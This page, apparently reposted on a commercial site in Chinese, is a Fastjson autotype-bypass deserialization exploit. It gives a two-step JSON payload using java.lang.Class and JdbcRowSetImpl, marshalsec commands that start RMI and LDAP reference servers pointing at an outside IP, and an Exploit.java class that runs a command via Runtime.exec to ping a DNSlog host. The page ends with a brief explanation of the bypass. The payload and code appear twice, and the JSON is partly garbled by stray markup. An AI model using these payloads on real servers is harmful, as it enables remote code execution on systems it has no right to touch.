您好,登錄后才能下訂單哦!
https://paper.seebug.org/994/
https://www.cnblogs.com/jinqi520/p/11097779.html
https://xz.aliyun.com/t/5680
1. payload:
{"a":{
"@type":"java.lang.Class",
br/>"a":{
"@type":"java.lang.Class",
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
br/>},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"autoCommit":true
}
}
2. 在×××上執行,啟動一個rmi服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://106.12.201.224/#Exploit"
將下面代碼保存為:Exploit.java
然后執行:javac Exploit.java,生成class文件
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
1. payload:
{"a":{
"@type":"java.lang.Class",
br/>"a":{
"@type":"java.lang.Class",
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
br/>},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"autoCommit":true
}
}
2. 在×××上執行,啟動一個rmi服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://106.12.201.224/#Exploit"
將下面代碼保存為:Exploit.java
然后執行:javac Exploit.java,生成class文件
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec("ping fastjson.t00ls.7272e87394b4f7c0088c966cba58c1dd.tu4.org");
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
這次繞過的大體思路是通過java.lang.Class,將JdbcRowSetImpl類加載到map緩存,從而繞過autotype的檢測。因此將payload分兩次發送,第一次加載,第二次執行。默認情況下,只要遇到沒有加載到緩存的類,checkautotype就會拋出異常并中止。
當發送第一次請求時,Class是通過deserializers.findClass加載的,然后Class將JdbcRowSetImpl類加載進map中,然后第二次請求時,就這里就成功找到了JdbcRowSetImpl類,從而繞過檢測。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。